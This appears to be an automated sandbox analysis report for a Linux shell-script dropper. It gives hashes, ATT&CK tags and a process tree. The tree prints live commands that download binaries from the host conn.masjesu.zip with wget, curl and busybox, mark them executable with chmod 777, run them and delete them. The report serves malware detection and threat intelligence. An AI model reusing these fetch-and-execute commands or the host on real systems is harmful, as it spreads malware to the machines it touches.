4dd53d92e06fcea220f5b50d211376b0613ddac7a1e45e7b4cee9aa1fcca64b3

Analysis

max time kernel
149s
max time network
10s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02/11/2024, 11:00

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General

Target
4dd53d92e06fcea220f5b50d211376b0613ddac7a1e45e7b4cee9aa1fcca64b3.sh
Size 10KB
Sample241102-m32lfssjay
SHA256 4dd53d92e06fcea220f5b50d211376b0613ddac7a1e45e7b4cee9aa1fcca64b3
MD5 08f97bfa89c4595b9341e1badc203a1f
SHA1 657966ff8f84e6740ec73c866fa7f4b4de36c12d
SHA512 f85495f56fcfd3d77a04043841616027128f716e38a7fa94e5f0c1ca5f7aa5b37592f3526cfe7fb83a5352b62dd79d963dd04e8348840c80bec49973d51459ee
SSDEEP 192:0o3Hi5tYV2SXY4/EVcZe0IUZqsPmIUZqsP3oO2SXY4j3Hi5tR:R9EVoe0
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
689	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb	690	UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 4 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
696	curl
669	wget
675	curl
687	busybox
693	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb	curl

/tmp/4dd53d92e06fcea220f5b50d211376b0613ddac7a1e45e7b4cee9aa1fcca64b3.sh
/tmp/4dd53d92e06fcea220f5b50d211376b0613ddac7a1e45e7b4cee9aa1fcca64b3.sh
1⤵
PID:658
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:664
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  - System Network Configuration Discovery
  PID:669
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:675
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  - System Network Configuration Discovery
  PID:687
- /bin/chmod
  chmod 777 UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  - File and Directory Permissions Modification
  PID:689
- /tmp/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  ./UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  - Executes dropped EXE
  PID:690
- /bin/rm
  rm UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
  2⤵
  PID:691
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  - System Network Configuration Discovery
  PID:693
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1Zn323IpR93DvERIdjrbVdlf9ZSTck2H4q
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:696

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb

Path /tmp/UB9kfLFJvty5WVXvRY5RoUScjExiNFOZEb
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads